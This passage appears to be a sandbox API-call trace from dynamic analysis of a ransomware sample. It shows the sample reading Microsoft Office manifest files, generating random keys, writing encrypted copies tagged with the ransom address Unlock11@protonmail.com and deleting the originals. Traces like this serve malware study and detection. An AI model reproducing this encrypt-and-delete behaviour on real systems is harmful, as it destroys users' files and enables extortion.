(HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.465] GetLastError () returned 0x0 [0134.466] GetLastError () returned 0x0 [0134.466] GetLastError () returned 0x0 [0134.466] GetLastError () returned 0x0 [0134.466] GetCurrentThreadId () returned 0x9b0 [0134.466] GetLastError () returned 0x0 [0134.466] GetCurrentThreadId () returned 0x9b0 [0134.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65e8 [0134.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0134.466] GetLastError () returned 0x0 [0134.466] GetLastError () returned 0x0 [0134.466] GetLastError () returned 0x0 [0134.467] GetLastError () returned 0x0 [0134.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d66a8 [0134.467] GetLastError () returned 0x0 [0134.467] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.467] GetFileType (hFile=0x39c) returned 0x1 [0134.467] GetLastError () returned 0x0 [0134.467] GetCurrentThreadId () returned 0x9b0 [0134.467] GetLastError () returned 0x0 [0134.468] GetFileType (hFile=0x39c) returned 0x1 [0134.468] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.468] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.468] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.468] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.468] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.468] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.468] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.468] GetLastError () returned 0x0 [0134.468] GetCurrentThreadId () returned 0x9b0 [0134.468] GetLastError () returned 0x0 [0134.468] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.468] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.469] GetLastError () returned 0x0 [0134.469] GetLastError () returned 0x0 [0134.469] GetLastError () returned 0x0 [0134.469] GetLastError () returned 0x0 [0134.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0134.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6748 [0134.469] GetLastError () returned 0x0 [0134.469] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.469] GetFileType (hFile=0x3ac) returned 0x1 [0134.470] GetLastError () returned 0x0 [0134.470] GetCurrentThreadId () returned 0x9b0 [0134.470] GetLastError () returned 0x0 [0134.470] GetFileType (hFile=0x3ac) returned 0x1 [0134.470] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.470] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.470] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.470] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.470] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.470] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.470] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.470] GetLastError () returned 0x0 [0134.471] GetCurrentThreadId () returned 0x9b0 [0134.471] GetLastError () returned 0x0 [0134.471] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.471] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfd78 | out: hHeap=0x2ad0000) returned 1 [0134.471] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.471] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.471] GetLastError () returned 0x0 [0134.471] GetLastError () returned 0x0 [0134.471] GetCurrentThreadId () returned 0x9b0 [0134.471] GetLastError () returned 0x0 [0134.471] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.472] GetLastError () returned 0x0 [0134.472] GetLastError () returned 0x0 [0134.472] GetCurrentThreadId () returned 0x9b0 [0134.472] GetLastError () returned 0x0 [0134.472] GetLastError () returned 0x0 [0134.474] GetLastError () returned 0x0 [0134.474] GetCurrentThreadId () returned 0x9b0 [0134.474] GetLastError () returned 0x0 [0134.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.475] GetCurrentThreadId () returned 0x9b0 [0134.475] GetLastError () returned 0x0 [0134.475] GetLastError () returned 0x0 [0134.475] GetLastError () returned 0x0 [0134.475] GetCurrentThreadId () returned 0x9b0 [0134.477] GetCurrentThreadId () returned 0x9b0 [0134.477] GetCurrentThreadId () returned 0x9b0 [0134.478] GetCurrentThreadId () returned 0x9b0 [0134.478] GetCurrentThreadId () returned 0x9b0 [0134.479] GetCurrentThreadId () returned 0x9b0 [0134.480] GetCurrentThreadId () returned 0x9b0 [0134.481] GetCurrentThreadId () returned 0x9b0 [0134.481] GetCurrentThreadId () returned 0x9b0 [0134.482] GetCurrentThreadId () returned 0x9b0 [0134.482] GetCurrentThreadId () returned 0x9b0 [0134.483] GetCurrentThreadId () returned 0x9b0 [0134.483] GetCurrentThreadId () returned 0x9b0 [0134.484] GetCurrentThreadId () returned 0x9b0 [0134.485] GetCurrentThreadId () returned 0x9b0 [0134.485] GetCurrentThreadId () returned 0x9b0 [0134.485] GetCurrentThreadId () returned 0x9b0 [0134.487] GetCurrentThreadId () returned 0x9b0 [0134.487] GetCurrentThreadId () returned 0x9b0 [0134.487] GetCurrentThreadId () returned 0x9b0 [0134.487] GetCurrentThreadId () returned 0x9b0 [0134.488] GetCurrentThreadId () returned 0x9b0 [0134.488] GetCurrentThreadId () returned 0x9b0 [0134.488] GetCurrentThreadId () returned 0x9b0 [0134.488] GetCurrentThreadId () returned 0x9b0 [0134.489] GetCurrentThreadId () returned 0x9b0 [0134.489] GetCurrentThreadId () returned 0x9b0 [0134.489] CloseHandle (hObject=0x3ac) returned 1 [0134.489] GetCurrentThreadId () returned 0x9b0 [0134.489] CloseHandle (hObject=0x39c) returned 1 [0134.490] GetCurrentThreadId () returned 0x9b0 [0134.490] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0134.493] GetCurrentThreadId () returned 0x9b0 [0134.493] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.494] GetCurrentThreadId () returned 0x9b0 [0134.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0134.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0134.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.494] GetCurrentThreadId () returned 0x9b0 [0134.494] GetCurrentThreadId () returned 0x9b0 [0134.494] GetCurrentThreadId () returned 0x9b0 [0134.494] GetCurrentThreadId () returned 0x9b0 [0134.494] GetCurrentThreadId () returned 0x9b0 [0134.495] GetCurrentThreadId () returned 0x9b0 [0134.495] GetCurrentThreadId () returned 0x9b0 [0134.495] GetCurrentThreadId () returned 0x9b0 [0134.495] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.495] GetCurrentThreadId () returned 0x9b0 [0134.495] GetCurrentThreadId () returned 0x9b0 [0134.495] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b41c | out: pbBuffer=0x366b41c) returned 1 [0134.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0134.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0134.496] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0134.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.496] GetCurrentThreadId () returned 0x9b0 [0134.496] GetCurrentThreadId () returned 0x9b0 [0134.496] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.496] GetCurrentThreadId () returned 0x9b0 [0134.496] GetCurrentThreadId () returned 0x9b0 [0134.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d66a8 [0134.496] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3338 | out: hHeap=0x2ad0000) returned 1 [0134.496] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.497] GetFileType (hFile=0x39c) returned 0x1 [0134.497] GetCurrentThreadId () returned 0x9b0 [0134.497] GetFileType (hFile=0x39c) returned 0x1 [0134.497] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.497] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.497] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.497] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.497] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.497] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.497] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.498] GetLastError () returned 0x0 [0134.498] GetCurrentThreadId () returned 0x9b0 [0134.498] GetLastError () returned 0x0 [0134.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66f8 | out: hHeap=0x2ad0000) returned 1 [0134.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.498] GetLastError () returned 0x0 [0134.498] GetLastError () returned 0x0 [0134.498] GetLastError () returned 0x0 [0134.498] GetLastError () returned 0x0 [0134.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d65e8 [0134.498] GetLastError () returned 0x0 [0134.499] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.499] GetFileType (hFile=0x3ac) returned 0x1 [0134.499] GetLastError () returned 0x0 [0134.499] GetCurrentThreadId () returned 0x9b0 [0134.499] GetLastError () returned 0x0 [0134.499] GetFileType (hFile=0x3ac) returned 0x1 [0134.499] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.499] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.500] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.500] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.500] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.500] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.500] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.500] GetLastError () returned 0x0 [0134.500] GetCurrentThreadId () returned 0x9b0 [0134.500] GetLastError () returned 0x0 [0134.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf988 | out: hHeap=0x2ad0000) returned 1 [0134.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.501] GetLastError () returned 0x0 [0134.501] GetLastError () returned 0x0 [0134.501] GetCurrentThreadId () returned 0x9b0 [0134.501] GetLastError () returned 0x0 [0134.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.501] GetLastError () returned 0x0 [0134.501] GetLastError () returned 0x0 [0134.501] GetCurrentThreadId () returned 0x9b0 [0134.501] GetLastError () returned 0x0 [0134.501] GetLastError () returned 0x0 [0134.503] GetLastError () returned 0x0 [0134.503] GetCurrentThreadId () returned 0x9b0 [0134.503] GetLastError () returned 0x0 [0134.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3828e70 [0134.503] GetCurrentThreadId () returned 0x9b0 [0134.503] GetLastError () returned 0x0 [0134.503] GetLastError () returned 0x0 [0134.504] GetLastError () returned 0x0 [0134.504] GetLastError () returned 0x0 [0134.504] GetCurrentThreadId () returned 0x9b0 [0134.504] GetLastError () returned 0x0 [0134.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3828e70 | out: hHeap=0x2ad0000) returned 1 [0134.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.504] GetLastError () returned 0x0 [0134.504] GetLastError () returned 0x0 [0134.504] GetCurrentThreadId () returned 0x9b0 [0134.504] GetLastError () returned 0x0 [0134.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38293b8 | out: hHeap=0x2ad0000) returned 1 [0134.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.505] GetLastError () returned 0x0 [0134.505] GetLastError () returned 0x0 [0134.505] GetCurrentThreadId () returned 0x9b0 [0134.505] GetLastError () returned 0x0 [0134.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.505] GetLastError () returned 0x0 [0134.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0134.506] CloseHandle (hObject=0x3ac) returned 1 [0134.507] GetLastError () returned 0x0 [0134.507] GetCurrentThreadId () returned 0x9b0 [0134.507] GetLastError () returned 0x0 [0134.507] GetLastError () returned 0x0 [0134.507] CloseHandle (hObject=0x39c) returned 1 [0134.507] GetLastError () returned 0x0 [0134.507] GetCurrentThreadId () returned 0x9b0 [0134.507] GetLastError () returned 0x0 [0134.507] GetLastError () returned 0x0 [0134.507] GetLastError () returned 0x0 [0134.508] GetLastError () returned 0x0 [0134.508] GetLastError () returned 0x0 [0134.508] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0134.509] GetLastError () returned 0x0 [0134.509] GetCurrentThreadId () returned 0x9b0 [0134.509] GetLastError () returned 0x0 [0134.509] GetCurrentThreadId () returned 0x9b0 [0134.509] GetLastError () returned 0x0 [0134.509] GetLastError () returned 0x0 [0134.509] GetLastError () returned 0x0 [0134.509] GetLastError () returned 0x0 [0134.509] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.510] GetCurrentThreadId () returned 0x9b0 [0134.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.510] GetLastError () returned 0x0 [0134.510] GetLastError () returned 0x0 [0134.510] GetLastError () returned 0x0 [0134.510] GetLastError () returned 0x0 [0134.510] GetCurrentThreadId () returned 0x9b0 [0134.511] GetLastError () returned 0x0 [0134.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.511] GetLastError () returned 0x0 [0134.511] GetLastError () returned 0x0 [0134.511] GetLastError () returned 0x0 [0134.511] GetLastError () returned 0x0 [0134.511] GetCurrentThreadId () returned 0x9b0 [0134.511] GetLastError () returned 0x0 [0134.511] GetCurrentThreadId () returned 0x9b0 [0134.511] GetLastError () returned 0x0 [0134.512] GetLastError () returned 0x0 [0134.512] GetLastError () returned 0x0 [0134.512] GetLastError () returned 0x0 [0134.512] GetCurrentThreadId () returned 0x9b0 [0134.512] GetLastError () returned 0x0 [0134.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.512] GetLastError () returned 0x0 [0134.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0134.512] GetLastError () returned 0x0 [0134.512] GetLastError () returned 0x0 [0134.513] GetLastError () returned 0x0 [0134.513] GetCurrentThreadId () returned 0x9b0 [0134.513] GetLastError () returned 0x0 [0134.513] GetLastError () returned 0x0 [0134.513] GetLastError () returned 0x0 [0134.513] GetLastError () returned 0x0 [0134.513] GetLastError () returned 0x0 [0134.513] GetCurrentThreadId () returned 0x9b0 [0134.513] GetLastError () returned 0x0 [0134.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0134.513] GetLastError () returned 0x0 [0134.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.514] GetLastError () returned 0x0 [0134.514] GetLastError () returned 0x0 [0134.514] GetLastError () returned 0x0 [0134.514] GetCurrentThreadId () returned 0x9b0 [0134.514] GetLastError () returned 0x0 [0134.514] GetCurrentThreadId () returned 0x9b0 [0134.514] GetLastError () returned 0x0 [0134.514] GetLastError () returned 0x0 [0134.514] GetLastError () returned 0x0 [0134.514] GetLastError () returned 0x0 [0134.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.515] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0134.515] GetLastError () returned 0x0 [0134.515] GetCurrentThreadId () returned 0x9b0 [0134.515] GetLastError () returned 0x0 [0134.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.515] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b2b4 | out: pbBuffer=0x366b2b4) returned 1 [0134.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0134.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0134.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0134.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.516] GetCurrentThreadId () returned 0x9b0 [0134.516] GetLastError () returned 0x0 [0134.516] GetLastError () returned 0x0 [0134.516] GetLastError () returned 0x0 [0134.516] GetLastError () returned 0x0 [0134.516] GetCurrentThreadId () returned 0x9b0 [0134.516] GetLastError () returned 0x0 [0134.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.516] GetLastError () returned 0x0 [0134.517] GetLastError () returned 0x0 [0134.517] GetLastError () returned 0x0 [0134.517] GetLastError () returned 0x0 [0134.517] GetCurrentThreadId () returned 0x9b0 [0134.517] GetLastError () returned 0x0 [0134.517] GetCurrentThreadId () returned 0x9b0 [0134.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d66a8 [0134.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0134.517] GetLastError () returned 0x0 [0134.517] GetLastError () returned 0x0 [0134.518] GetLastError () returned 0x0 [0134.518] GetLastError () returned 0x0 [0134.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6598 [0134.518] GetLastError () returned 0x0 [0134.518] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 